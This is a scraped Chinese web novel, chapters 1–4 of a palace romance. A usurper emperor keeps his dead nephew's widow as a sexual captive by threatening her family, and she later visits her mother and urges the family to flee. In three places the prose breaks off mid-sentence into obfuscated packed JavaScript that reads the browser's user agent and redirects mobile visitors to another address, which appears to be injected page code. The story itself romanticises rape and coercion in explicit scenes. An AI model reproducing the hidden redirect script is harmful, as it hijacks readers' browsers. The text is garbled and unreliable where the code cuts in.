《太子妃委身皇叔后》 1. 第 1 章 初春时节,春寒与阴云交织,日影漫长。 一场动乱,太子死了,撷芳殿里树倒猢狲散,宫人们陆陆续续都离开去博前程,偌大的宫殿空置下来,也只有到后殿才能听到一点人声响动。 西侧殿外,玉兰花在细雨中盛放,成了这灰蒙蒙的天空底下唯一的丽色。 匀檀提着一桶热水走入浴室,将桶里的热水倒入浴桶中,水汽蒸腾,如同轻纱一般笼罩下来,金嬷嬷往里滴了几滴玫瑰精油,扭头对姜秾道:“太子妃娘娘,热水已经准备妥当,快来沐浴吧。” 姜秾只是轻轻扫了眼那冒着甜香的热水,垂眸掩住眼中的一丝不甘,纤细的手指轻轻解开细带,衣裳脱下来,她迈开腿跨入浴桶。 洗完后,匀檀用浴巾裹紧她的身子。 金嬷嬷抬眸看向她,只见她海藻般的长发高高挽起,露出修长雪白的颈,脸被水汽蒸过,双颊泛着芙蓉般的粉润色泽,饱满的额头下方,两弯细细的黛眉,明媚如秋水般的眼,鼻梁挺翘,樱桃唇饱满嫣红,是一副夭桃秾李的好样貌,可单生的美却还不足以证明老天对她的偏爱,金嬷嬷的目光往下,只见姜秾露在浴巾外的肌肤欺霜赛雪,细白如瓷,浴巾交叠之处,隐隐可见两抹冰凝雪积的春山,极是壮观。 这样一副风流妖娆的样貌,男人见了都把持不住,无怪温昭太子宁愿背弃原本的婚约也要娶她,如今温昭太子死了,新皇登基后,又罔顾人伦将她占有,半年过去,依然还在兴头上,瞧着是有些欲罢不能。 等穿上衣裳,金嬷嬷说道,“娘娘,抹上凝香露吧。”说着,从怀里将一个拳头大小的瓶子拿出来。 姜秾只是淡淡的看了一眼,本能的生出些抵触,她轻轻蹙眉道:“本宫只是给太后去请安,不用抹了,先撤下去。” 这半年来,每次被召幸之前,这香露会由金嬷嬷替她抹在耳后,脖子这些地方,入宫后,那人会将头埋在她的颈项间贪婪的吸吮,每每都沉醉不已。 金嬷嬷何尝不知她不愿,拉着个脸训斥道:“太子妃娘娘,您何必揣着明白装糊涂,这半年来,太后何曾见过您一次,您哪回进宫最后不是去了皇上那儿?奴婢劝您还是认命吧,您横竖都躲不过,还不如顺从些,龙榻上也能少吃些苦头,皇上的脾气您是知道的,您若是再如上次一般忤逆他,怕是没个几天不能出宫。” 在金嬷嬷看来,太子妃生成一副祸水模样,到哪里都会被男人盯上,何况她这个身份也尴尬的紧,前朝太子的妻子,新帝又是篡位的皇叔,她能活命就不错了,现在又在皇上那里承了雨露,有什么不好的?宫里那些妃嫔娘娘想要都得不到! 上一次,姜秾的脸色白了白。 金嬷嬷许是觉得自己的话说重了,缓了缓语气,“再说了娘娘不是还想出宫回娘家看看么?您得趁着这个机会好好讨好皇上,让皇上松口放您出去才行。” 姜秾眼底有了一丝动容。 她仰起脖子,似任人宰割一般,让金嬷嬷给她涂抹上。 每涂一下,她便想起在承乾殿的龙榻上,那一个个粘稠潮湿,窒息绝望的夜里,内心涌上一股强烈的屈辱。 这半年来,她感觉自己好像做了一场噩梦一般,而这场梦没有醒的时候,半年前,她和太子大婚那一夜,叛军攻城,太子丢下她前去御敌,她忐忑不安的在撷芳殿内等候,可最终等来的不是太子,而是提着长剑满目赤红杀进来的叛军头子,也是太子的皇叔,烈王宗焱。 她本以为他会杀了她,谁知男人却将她逼至喜床上,撕碎了她的喜服,强要了她的身子,她不是没想过自尽,簪子都刺破了颈间的肌肤,被他手疾眼快的拦住,餍足的男人恶狠狠的警告她,“你若死了,朕要你姜家三百多口人陪葬。” 她不敢,为了姜家的亲人,她选择忍辱活下来,烈王登基之后,封她为“温昭太子妃”,温昭是她夫君的谥号,命宫人将撷芳殿后殿的侧殿收拾出来,让她住进去,他并没有就此放过她,反倒食髓知味,每月要召幸她三次,回回都让她以给太后请安为借口,可若皇帝兴致好,下完朝不会急着回宫,会从文渊阁那边绕过来,偷偷进入撷芳殿,派人守在殿外,肆意的和她亲密。 最可怕的是,有一次她拒绝召幸,被皇帝的人带入宫里,整整三天才放出来。 可皇帝并非荒淫无道的昏君,相反,他是个昭国百年来,为数不多的明君之一。 他在北境为王时,便有贤名,将那荒凉刺骨的北境治的物阜民丰,过去五年的时间里,昭国天灾不断,加上各种苛捐杂税,导致饥民暴乱,烽烟四起,皇上却沉迷女色,每日醉生梦死,朝中掌权的是她爹,当朝宰辅姜徵,可她爹利欲熏心,并不是个好官,结党营私,排除异己,将朝廷弄得乌烟瘴气,唯独拥雪关外的北境,却是桃花盎然,生机勃勃。 听闻皇帝率领北境大军入京那一日,百姓们自发跪在地上,山呼万岁,他登基后半年,以迅雷不及掩耳之势平定京中叛乱,如今天下太平。 可这样一个世人眼中的明君,却将她攥入深渊,叫她身不由己。 涂抹完之后,姜秾穿上衣裳,又将乌发高高挽起,皇帝不允许她施妆,因此金嬷嬷只在她的眉心贴上花钿,即便如此,铜镜中倒映出来的那张脸也依旧是灿若朝霞,她站起来走路时,身姿摇曳,如弱柳扶风,金嬷嬷晃了晃神,提醒一句,“肩舆已经院内候着了,娘娘快些出去吧。” 抬着她的肩舆从撷芳殿后门出来,往西边前往慈宁宫,看着巍峨的宫殿姜秾一阵感慨。 她的母族姜家煊赫一时,她爹爹是权倾朝野的宰相,往日宫女太监见了她都会行礼,如今却是连个正眼都不给她。 到达之后,姜秾下了肩舆,从慈宁门进去后,她在廊下站了一会儿,出来一个小太监回话,“温昭太子妃,太后身子不好,这会已经歇下了,您还是回去吧。” 这托词和往常一样,姜秾本就是走个过场,着实对太后也没几分孝心,也并不强求,离开之后,便改道去了皇帝的承乾殿。 承乾殿,是皇帝的起居之处,重檐庑殿顶,上覆着琉璃瓦,阴云笼罩之下,宫殿恢弘大气,丹楹刻桷,画栋飞甍,彰显着尊贵与奢华,可姜秾却无端感到压抑。 她跨入承乾殿的门槛后,抬眸轻轻的瞥了眼龙椅上的皇帝,只见皇帝正襟危坐,身姿笔挺如松,连面容都不曾看清,便已感觉天子气象,令人望而生畏,她赶紧收回视线,上前屈膝下拜,“妾身给皇上请安。” 宗焱听到一道轻柔婉转的嗓音,手上的朱笔一顿,他抬起头朝下方看去,只见妇人盈盈站在面前,一身月白襦裙,外头罩着淡粉窄袖褙子,袖口绣着白海棠纹,头顶只有一根玉簪子为饰,露出光洁饱满的雪额。 他给宋有祥使了个眼色,宋有祥一挥手,殿内的宫女太监全部退下,只剩下姜浓和皇帝二人。 他搁下手中的朱笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人已经动情,滚烫的呼吸钻入耳朵里,他的唇沿着她的耳廓轻轻浅浅的吻着,一点一点移至雪颈,贪婪的吸吮她身上的香气,那凝香露的香气糅杂着她的体香,极令人上头,这香气淡的时候,能令他心神安定,浓郁之时便令他气血翻涌。 姜秾只感觉耳廓连着脖子都有种被火灼烧的滚烫感,他沙哑的声音仍带着几分清冷,却无形中撩拨着她的心弦,搅动一池春水,终日不能平歇下来。 “还怕吗?”宗焱察觉到她身体在抖,双手撑在她身体两侧。 她当然怕,几乎每一次都怕,皇帝行伍出身,身强体壮,穿着龙袍是金相玉质,不怒而威,可脱了衣裳,蓬勃的气息扑面而来,一身紧实的肌肉如连绵的山丘一般,似有使不完的劲,他凶悍又强势,在那方面又天赋异禀,每回在龙榻上,姜秾都担心自己会被他撕碎。 “皇上,妾身蒲柳之姿,承不住皇恩,妾身惶恐。” 宗焱将她眼底的害怕看在眼里,可他并没有动容,“秾秾,朕总会教你慢慢习惯的。”皇帝吻了吻她嫣红的唇,温柔的像对待一件稀释珍品,他抬手挥落明黄的帐子。 帐内渐渐升温。 姜浓眼神迷乱,手在半空中胡乱的抓着,下一秒,又被男人扣住,十指穿过她的指缝与她紧紧相扣,男人手背青筋蜿蜒凸起,狰狞着仿佛要从皮肤底下跳出来。 姜秾难耐的扬起脖子,不习惯,她怕是一百次,一千次都不能喜欢,破碎的声音从红唇里溢出,“珣哥哥,你饶了秾秾吧……” 宗焱的动作一瞬间停住,他盯着身下香汗涔涔,双颊驼红的女子,眼底的冰冷在一点点的皲裂。 2. 第 2 章 明黄的帐子将龙榻遮的很严实,凝香露被热气熏蒸过后,越发的浓郁,充斥着龙帐的每一个角落,溽热的空气里,两人滚烫的呼吸交融着,一滴汗顺着宗焱瘦削的下巴,滴在姜秾粘稠潮湿的肌肤上。 皇帝只是失神片刻,眼底又被浓烈的情欲遮盖,他勾了勾凉薄的唇,“朕才刚开始你就求饶了,一会岂不是要哭了?” 什么叫才刚开始,明明已经过了一半,可这对她来说亦是艰难极了,他粗暴,强势,精力旺盛,姜秾纤细娇弱的身子应付起来总是吃力的很,她本就畏惧他,龙榻上也不太能放松,紧绷着身子,故而她没有感觉到男女同房时的愉悦,每时每刻,她都觉得自己在上刑一般,可即便她如此抗拒,他每月雷打不动的召幸她三回,甚至更多,他似乎很喜欢在床笫间玩弄她,折磨她,或许看和她生不如死的样子,他心里会感到痛快吧。 此时姜秾的手掌贴着他的胸膛,皇帝全身都是热的,可一颗心却是冷的,姜秾见他不为所动,咬了咬红肿的唇瓣,眼眶里氤满水汽,眼尾也泛着薄薄的一层粉色。 宗焱并没有心软,扣在她腰间的手猛地收紧,他冷笑着,低头亲了亲她粉嫩的耳垂,“别装可怜,朕知道,眼泪是你最廉价又最致命的武器,朕不会再上当,想要朕饶了你,那便再卖力一些。” 三年前,她就是用这副模样勾起他的恻隐之心,在扬州的花楼救下她的性命,他们耳鬓厮磨了三个月,他亦动了真心要娶她为妻,可她却丢下自己逃走了,同时,也带走了他半条命。 如今,他就是用剩下的半条命支撑到与她重逢,她再次落入他掌中,这次,他绝不会对她心软。 姜秾被逼出泪来,泪珠顺着细长的眼角滑入鬓间,既然他不肯放过她,她再求他也于事无补,想到还要求他放自己回娘家,她不得不顺从些,双手绕上他的脖子,“皇上,妾身遵命。” 她的声音酥绵入骨,明明是百般不情愿,却还是媚眼如丝的扭着纤腰迎上来,这勾魂摄魄的妖精样,要人性命却不自知,宗焱血液沸腾,欲望像只张开嘴的巨兽一般,疯狂的想要将她揉碎吞下去,可在女人一声声的哀求中,他还是渐渐的放缓下来。 已经过了未时,淑妃带着宫女走过来,见承乾殿大门紧闭,走上前便问,“宋公公,皇上是否还在昼寝?” 见是淑妃,宋有祥欠身行礼,“娘娘,皇上昨日处理政务子时才就寝,今儿卯时不到便起床啦,拢共才睡两个时辰,这昼寝的时间自然会长一些,娘娘若是没什么要事便先回去吧,晚些时候再来。” 宗焱宵衣旰食,日理万机淑妃是知道的,也没有多想,领着宫女转身离去。 等人一走,宋有祥往后瞥了一眼,听得里头细弱哭声传出来,冷不丁的抖了抖身体。 皇上本不是重欲之人,后宫虽有数位妃嫔,却从未真正留宿过,以至于多年膝下一无所出,让他上心的也只有这温昭太子妃,念念不忘多年,如今终于到手了,只要她一来,皇上便不舍得让她等候片刻,每次皇上召幸此女皆是意犹未尽,辰时入宫要等天黑才能被送回去,然而这一天搁置下来的事情,皇上也会在晚上通宵处理。 自家主子好不容易开荤了,宋有祥当然是乐见其成。 “皇上,天黑了,妾身该出宫了。”龙榻内光线一点点的昏暗下来,他却还没有消停的迹象,姜秾哑着嗓子,无力的催促起来。 “你今日来迟了半刻钟,自然得补上。”宗焱一身汗,却是越发的精神起来,狭长的凤眼不知餍足的微眯着。 这一补,半个时辰又过去了。 终于,云收雨歇,宫人送了水进来,姜秾擦拭完身体后穿好衣裳,跪坐在龙床边缘,柔软的手灵活的给宗焱系扣子。 “今日,要什么赏赐?” 宗焱此时心情极好,他看着眼前乖顺的跪在自己身前的姜秾,她的乌发柔顺的垂着,中衣是敞开的,露出里头绣着并蒂莲的肚兜,娇嫩的肌肤上都是他留下的印子,他和她此刻就像寻常夫妻温情脉脉的样子,让他恍惚中,感觉他们之间并没有这三年的空白,没有那场背叛。 姜秾手上动作一顿,抬眸对上他的视线,皇帝每回召幸完她,都会给她一份赏赐,仿佛是给她一份报酬,但凡自己想要的,他都毫不吝啬,让人从私库里搬出来,短短半年,撷芳殿侧殿的耳房里便摆满了他的赏赐,他除了不肯给她自由,什么都愿意给。 “皇上已经赏赐了许多东西给妾身,妾身暂时不缺,妾身求皇上让妾身回娘家看一眼。”说完,她忐忑的看着他。 说起姜家,宗焱的脸色瞬间变冷,视线也陡然变得锐利起来,他猛地攥住姜秾的手,“想回娘家,怪不得你方才如此豁得出去,将在扬州花楼里学的技巧都用在朕身上。”想起她方才胆怯又费劲的样子,宗焱心头窝火,恨不得再次将她按在龙床上。 姜秾被他说的脸红了,尴尬的低下头去,脑海里却闪过那些不堪的画面,她的身体扭的像条蛇,只觉得难堪至极,大概连她自己都想不到,她居然做出如此放浪之事,简直不像个大家闺秀,刻意想要忘记的在扬州花楼经历的一切实际上已经深深的映在她脑海里。 其实宗焱很受用,巴不得她日日和方才那样放得开,他的手指在她手背轻轻摩挲着,“你若是想回也不是不可,朕闻着你身上的香气心神安定,若是这几日夜不能寐,难免会派人去姜家传你入宫侍寝,你若是能留下贴身衣物在此,朕自然不会让人去打扰你。” 她不知道皇帝是否要留下与她私通的证据,但两人最亲密之事都做过,也不差这一件。 她红着脸转过身去,宗焱顺势放开她的手,看着她的手指绕到脖子后方,勾住红绳,轻轻扯下来。 宗焱见她匆匆系好衣带,将手中之物递给他,他伸手不客气的接过来,然后当着她的面嗅了嗅,再勾着唇放入怀里。 姜秾离开承乾殿时已经天黑了,在殿外,她坐上肩舆离开,离开承乾门时,淑妃正朝这边走来,远远瞧见一顶纱帐肩舆抬着一个女子往外走。 春夜寒风撩起轻纱一角,一股冷淡的幽香在空气里弥漫,淑妃看着那薄纱笼罩下,隐隐透出一个妙曼的身影,暗暗惊心,之前她便听到些传闻说皇上宠幸了一名女子,一月至少有三次,便去找敬事房的人询问,发现皇上并未翻谁的牌子,还以为是些捕风捉影之事,可她今日亲眼所见,方知传闻不假,只是这女子断然不是宫里之人,瞧着她离去的方向,应当是东宫,莫非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234288|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 想到那种可能性,淑妃惊的说不出话来,半晌才吩咐身后的碧珠,“你去查一下,温昭太子妃几时入宫,又是几时离开的?” “是。” 这会皇上定然不会见她,淑妃也没了心思,让人调转方向,打道回府。 姜秾回到撷芳殿时,已经到了戍时,头一件事,便是将身上的衣裳全部换掉,等换完便将金嬷嬷打发走,随后低声问匀檀,“匀檀,那药熬好了没有?” 匀檀道:“娘娘,上午您沐浴时,奴婢便让厨房的巧梅熬好了,这药都是奴婢买的,巧梅又是给哑巴,奴婢塞了银子给她,她定然不会将此事泄露出去,如今这药应该都热了几道了,奴婢这就去给您端过来。” 姜秾轻轻点头。 从厨房到侧殿,只隔了一间耳室,片刻功夫,匀檀便将避子汤端过来了。 姜秾蹙着眉接过那黑漆漆的药汁,闭着眼,仰头便尽数喝下去。 等她喝完,匀檀便将一颗蜜饯递到她的唇边,姜秾张嘴含住,瞬间,嘴里苦涩就被甜丝丝的果味取代。 匀檀担忧道:“娘娘,奴婢听说这避子汤喝酒了伤身,若是时间长了,往后若要再生孩子可就难了,要不还是别喝了吧?” 姜秾偏头看向匀檀,嘴角带着一抹无奈之色,“匀檀,我这样的身份,就算生了孩子又如何?横竖都是见不得光的,何况,我哪里还有什么以后。”说话时,她眼底带着些许落寞,或许这辈子也就这样了,被皇帝当做禁脔玩弄,等他腻了倦了,她要么就是带着这个秘密了结此生,要么就是一辈子老死宫中,她早就看开了。 匀檀心疼自家主子,不想让她继续伤怀,便没有再说下去,扶着姜秾去床上就寝。 尽管被折腾了一整日,次日姜浓还是起了个大早,她忍着酸胀感,起身去梳妆。 等梳妆完毕,匀檀扶着她从房内走去来,连续几日的阴雨,此刻天空已经放晴了,玉兰如美玉堆砌,绰约有辉,一旁的桃花也不落下风,争先绽放开来。 看到院子里花团锦簇,姜秾的心情也跟着好了许多,这时,金嬷嬷走过来,“娘娘,出发吧。” 姜秾点点头,金嬷嬷是皇帝派来盯着她的,自然是她走到哪里她跟到哪里,尤其是她回娘家,金嬷嬷自然不会落下。 姜家,一大家子在门口候着,站在最前方的是二夫人苏氏,她身后站着三房老爷姜彻,三房夫人刘氏,以及三房的四姑娘姜穗,和五公子姜赐,还有一干奴仆。 刘氏见等了许久都不见姜秾的车驾,忍不住嘀咕起来,“如今都改朝换代了,这秾姐儿太子妃的身份也是有名无实,她倒好,还和从前一样架子大,咱们这些做长辈的都等候半天了,也不见她回来。” 苏氏冷冷的瞥了刘氏一眼,语气冷淡,“弟妹若是不想等自行回去便是。” 刘氏正要怼回去,被一旁的姜循瞪了一眼,到嘴边的话又强行咽回去,这时一辆华丽的四驾马车缓缓驶来,姜秾已经迫不及待的打起车帘往外看,当看到最前面那道清瘦的身影时,她的眼睛瞬间模糊了。 她搀扶着匀檀的手,迫不及待的从马车上下来,奔向迎上来的苏氏。 “娘,我回来了。” 3. 第 3 章 苏氏抱着娇娇软软的女儿,只觉得空荡荡的内心一瞬间被填满了。 “乖囡囡,你终于回来了,这段日子你一直没消息,母亲都担心死了。” 说着,她推开姜秾,捧着她的小脸好好看了看,见姜秾只是清减了些,气色却甚好,双颊泛着桃粉,眼神清澈,除了眉宇间一抹淡淡的忧伤之外,并无什么大碍,苏氏脸上的担忧才慢慢消失。 姜秾见苏氏眼眶发红,她鼻尖一阵酸涩,可她没有哭,而是紧紧的握住苏氏的手,“娘,这段日子皇上一直派人封锁东宫,直到前几日才解除禁令,女儿没办法给家里送信,可女儿心里一直惦记着您,如今看您平安,女儿也放心了。” 她被皇帝强占了半年的事,她绝不会跟苏氏说起。 她又往苏氏身后看了一眼,只见她三叔,三婶,堂弟,堂妹都看着她,除了她三婶脸色略有些不耐之外,其余的都是满脸关切,姜秾心里涌上丝丝暖意。 谁不知道皇帝狠辣无情,前朝戾帝的妃嫔,儿女全部被杀尽了,想到姜秾被困在东宫半年,却求助无门,也不知都受了什么苦,苏氏的眼泪就忍不住涌出来。 这时,刘氏又开口了,“哎呀,二嫂,既然秾姐儿回来了,你就别哭了,咱们这些人在一旁陪着,腿都站酸了,你们要说话回屋说去。” 姜秾的目光再次落在刘氏等人身上,她三叔率先给她行礼,“草民参见温昭太子妃……” 话音未落,就被姜秾扶起来,“三叔,我这太子妃如今就是个空架子,都是一家人,何必如此客套。” 一旁的刘氏巴不得如此,赶紧附和,“就是就是,还是秾姐儿识大体,我最厌烦的就是你们这些世家大族的规矩礼仪了,又不能当饭吃,这样的客套来客套去做什么?” 刘氏之前还有些埋怨姜秾来迟,这会见她没有任何架子,心里那点疙瘩也消失了。 倒是姜彻对妻子粗鄙的言行极为不喜,但又无可奈何,也不好当众训斥她,只是沉着脸瞪了她一眼,好在四姑娘姜穗懂事,上前握住姜秾的手,笑着喊了声,“三姐姐,我娘心直口快,没什么恶意,你可不要往心里去。” 姜秾是知道刘氏为人的,刘氏出生商贾之家,平日里抛头露面做生意,性子爽辣直率,但并不是什么恶人,姜秾笑了笑道:“三婶说的没错,咱家如今就是普通的平民,着实不用讲那些繁文缛节,娘,你说是吗?” 苏氏此刻也懒得跟刘氏计较,自然是答应,一旁的姜赐也叫过“三姐姐”,一家人和和睦睦的往里头走。 姜家如今今非昔比,昔日,他们住的是皇城外头四进四出先帝赏赐的大宅子,现在姜家被抄家了,姜家人全部被赶出大宅,好在她娘亲手里还有些产业,这座两进的别院,便是外祖母留给娘亲的嫁妆,只是年久失修,院子有些破败,好在逢上春日,园中百花竞开,点缀出几分生机来。 苏氏领着女儿进入偏厅,看到摆放在正中间的牌位时,姜秾神色一肃,从一旁的嬷嬷手中接过三炷香,跪在姜徵的牌位面前,深深的拜下去。 叛军入城之后,她爹悬梁自尽了,消息传到她耳朵里时,已经是三天后了,她感觉天塌了一般,可她什么都做不了,她想回去奔丧,却被皇帝死死箍在怀里。 彼时男人身上还穿着登基时的冕服,冠系朱缨,垂十二旒,坐在撷芳殿侧殿内,金尊玉贵的九五之尊,祭完天地宗庙,衣裳都未换,便跑来看她的笑话,他看着她无声落泪,悲痛欲绝却无动于衷。 他告诉她,她父亲坏事做尽死有余辜,他没将他拖出来鞭尸已经算客气了。 可是她父亲万般不是,也终究是一个疼她爱她,将她捧为掌珠,为她尽心谋划,想要护她一生无忧无虑的父亲。 谁都能憎恨他,唯独她不能。 她泣不成声,发疯一般捶打着宗焱,将满腹的委屈怨恨都发泄在他身上。 他仍旧如同山岳一般岿然不动,只是冷眼看着她哭闹,更过分的是,夜里,他还要她侍寝,他将哭泣的她压在半开的窗户边上,任由冬日冰冷的雨水淋湿她光裸的脊背,她发狠咬住他的肩,男人只是低低发出一声闷哼,却更加用力。 自那以后,她每日沉浸在悲痛里,足足病了一个月身子才渐渐好起来。 如今看到父亲的牌位,内心的悲痛被牵起,她想哭却又哭不出来。 等上完香,一家人用了午饭,苏氏便将姜秾拉到自己的院子里去了。 苏氏走到门口,发现金嬷嬷亦跟着进去,苏氏愣了一下,目光定定的看向金嬷嬷,“这位是……” 金嬷嬷刚要开口,就被姜秾着急打断,“娘,这位是宫中派来照顾女儿起居的金嬷嬷,她平时在我跟前伺候。” 既是宫里派来的人,苏氏也不好阻拦,只得让金嬷嬷一同进来,到了房里,苏氏便同姜秾说了些家常,还安排丫鬟给金嬷嬷端了茶水点心,让她在一旁坐着等候。 金嬷嬷觉得这苏氏甚是客气,便也推拒,听二人说的都是些家长里短的闲话,也不甚在意,倒是自己茶水喝多了,总要如厕,便一脸跑了好几趟茅房。 也是趁着金嬷嬷不在的功夫,苏氏才同姜秾说些掏心窝子的话,“秾儿,你告诉娘,那皇帝是不是将你当囚犯一样看着,让你不得自由?” 岂止是囚犯,她现在是皇帝的禁脔,是他发泄欲望的对象。 她心里的苦偷偷咽下去,摇摇头道:“娘,皇上对女儿的确还有些疑心,可女儿不过是个妇道人家,对他又起不到什么威胁,时间久了,他的疑心自然会消散。” 苏氏叹了口气,她夫君造了很多孽,按理说姜家满门都得死,可夫君死后,姜家却只被抄家,其他人都得到了保全,她也不知皇帝葫芦里卖的什么药,倒是能活命,也算是老天爷开恩,如今她从高高在上的丞相夫人跌入凡尘,只觉得富贵荣华都是一场梦,她什么都看开了,只求这唯一的女儿能好好的。 苏氏道:“秾儿,你和太子虽然拜堂了,可却没有正经做过夫妻,如今太子已经死了,你没必要为他耽搁,不如跟皇上请旨,让他准你跟太子和离,回到娘身边来,娘再给你物色一个好郎君,也不拘什么富贵门第,只要他一心一意待你便好。” 太子宗云骞,是戾帝的第五子,资质平庸,除了一张脸一无是处,这太子之位也是她的夫君扶持他登上去的。 若不是秾儿在扬州遭歹人算计,被卖入花楼,后来又与一个来历不明的男人厮守了三个月,虽然保住了清白,这件事却无意中被宗云骞知道,宗云骞又在她面前赌咒发誓,说自己爱慕姜秾,定会将她捧在手心呵护,也定会为她保守秘密,她百般无奈才将女儿嫁给此人,不然又怎么能轮到他。 如今两人还未洞房,他就被乱箭杀死,可见是没这个命的。 金嬷嬷如厕回来,刚好就听到苏氏要给姜秾物色郎君之事,她脸色猛地一沉,跨进房门的时候,又恢复平静。 姜秾眼角余光瞥见金嬷嬷,赶紧说道:“娘,虽然我们没有夫妻之实,但是云骞一直待我很好,我要为了他守丧三年,全了这夫妻情分。” 宗云骞近乎狂热的迷恋她,也的确待她很好,她还未去扬州时,便和他有过几面之缘,他和其他那些往她跟前凑的皇子不一样,他总是远远的瞧着她,眼底闪动着热烈的光,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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承乾殿内,皇帝刚处理完昨天堆积的奏章在西暖阁歇息,他从怀里掏出姜秾贴身的小衣放在鼻端嗅了嗅,那股冷淡的幽香直钻入他的肺腑,他闭上眼睛,这股香气与在扬州花楼时她惊慌失措的扑入他怀里时,闻到的香气一模一样。 只是这股香气不到半个时辰就会散掉,他只能贴身藏着,每当闻到这个气息,他躁郁的内心便会缓和片刻。 她像是戒不掉的瘾,即便他克制三年,在重逢的那一刻,那股瘾还是铺天盖地的侵蚀着他的理智,所以他用尽卑鄙的手段,逼她从了自己。 听到脚步声,宗焱猛地睁开眼,将那块柔软的布料塞入怀中。 进来的是淑妃,淑妃见一角红色迅速消失在皇帝的衣襟里,暗暗奇怪,瞧着那颜色质地,仿佛是女子的贴身小衣,淑妃心头涌上一股酸意,脸上却不显,端方的行了一礼,“臣妾身参见皇上。” 宗焱眼神恢复清冷,“平身。” 淑妃站起来,宋有祥搬来凳子让她坐下,宗焱淡淡的问道:“你来做什么?” 淑妃是拥雪关总兵秦歧的妹妹,宗焱登基后,秦歧便将妹妹送入宫里,不到三个月,她就由嫔晋升到了妃位,如今执掌六宫大小事宜,和皇后无异。 皇帝对谁都冷淡,淑妃已经见怪不怪了,她笑道:“皇上,御花园的花开的正好,臣妾想要办一个赏花宴。” 宗焱瞥了她一眼,“这等小事还要过问朕?” 淑妃笑道:“皇上,若是邀请宫中的姐妹,妾身自然能做主,只是妾身想邀请温昭太子妃,自从温昭太子死后,她一直寡居撷芳殿,每月只入宫给太后请安三次,平时轻易不出宫,她孤零零的也可怜,妾身便想着邀她一同赏花热闹热闹。” 宗焱神色如常的说道:“你自己做主便是。” 淑妃见宗焱在听到“温昭太子妃”时,脸色没什么变化,仿佛听到的是一个不相干的名字,暗暗奇怪,难道自己真的猜错了? 那个陪着皇上昼寝之人,当真不是温昭太子妃? 4. 第 4 章 淑妃从承乾殿出来时,暗自纳闷,碧珠明明告诉她,温昭太子妃入宫给太后请安,太后并且见到她,随后她便去了承乾殿,一直到天黑才出来。 可皇上却不肯承认,还假装不在乎。 她不知道皇上是为了维护自己的名声,还是为了维护这温昭太子妃。 淑妃到现在几乎都不敢相信,皇上放着自己宫里的女人不碰,罔顾人伦临幸自己的侄媳,还白日宣淫,若是传出去了,岂非背负万世骂名,也不知这温昭太子妃生的是何模样,那日夜里隔着老远她都能闻到对方身上的冷香,那股香味令人心悸神摇,瞧着就不像是正经女子会用的,她定是个狐媚子,赏花宴上,她倒是要好生瞧一瞧。 ** 姜秾的一番话,让苏氏心惊,苏氏不知她是真有此意,还是故意说给金嬷嬷听的,但金嬷嬷在场,有些话她倒是不方便再说,于是便作罢。 “你若是想守丧,娘也不强迫你。” 姜秾点点头,其实比起自己,她更担心苏氏和这一家子的安危,眼下她们都活下来了,可天恩难测,皇帝难免有一天会改变主意,现在她们的状况,就好比随时有一把刀悬在脖子上一般,她希望苏氏和三叔一家子可以离开这里,远离上京,至少会比留在这里安全一些。 当着金嬷嬷的面,她也不好明说,只好将自己写的书信,借着宽大袖摆的遮掩,偷偷的塞到苏氏的手上,苏氏碰触到书信锋利的边缘时,愣了一下,随后又淡定的接过来,再松开姜秾的手。 跟苏氏聊完后,姜秾又去找姜穗聊了会天,姜穗比她小一岁,今年十七,原本是早该嫁人的年纪,可随着姜家倒台,和她定亲的西平伯府也前来退亲了。 说起这门亲事,姜穗倒是不在意,“咱们家都这样了,何必连累人家,放他自由不是挺好的,而且我又不是很喜欢那西平伯世子,如今解除婚约,内心还松泛了不少。” 她这豁达的心态,倒是让姜秾喜欢,姜秾笑了笑,“四妹妹说的没错,不过是一个男人而已,没什么可惜的,咱们姜家的女儿不愁嫁不出去。” 如今的姜家今非昔比,姜秾此话,难免又几分安慰的成分在里头,不过姜穗听了还是很开心,这时姜秾又道:“穗儿,我在宫里不得自由,也不能时常出宫来看望母亲,还请四妹妹替我好生照顾她。” 别看姜穗才十七岁,可她如今已学着刘氏在外头经营一家小酒馆了,她一点都没有端着身份,能屈能伸。 姜穗握了握姜秾的手,“姐姐放心,咱们都是一家人,何必说两家话,我会好好照顾二伯母的。” 和姜穗说完话,快要天黑了,金嬷嬷催促她离开,姜秾自然是依依不舍,姜穗咬着她的耳朵说话,“姐姐,我会找机会入宫来看你的。” 姜秾轻轻点头,苏氏得知她要离开,送到门外,看着女儿上了马车,直到马车消失在视线里,才抹了抹眼泪,转身回来。 她让丫鬟关上大门,转身来到偏厅,将姜秾给她的书信从袖里拿出来。 她展开一看,面色渐渐凝重起来,沉吟片刻后,她对身边的李嬷嬷说道:“去,将三爷和三夫人,四小姐都叫过来。” 等人来齐了之后,苏氏将姜秾的书信递给几个人看,一圈下来,这书信又回到了苏氏手中。 苏氏道:“当今圣上心思诡谲多变,当年我夫君又是谋害他和太后的主使,短暂的平静并不能说明姜家已经脱险,为了避免姜家被赶尽杀绝,只有离开这里才是上策,只是秾儿尚在宫里,我不忍抛下她独自离开,但三叔和弟妹若是想走,可尽快安排。” 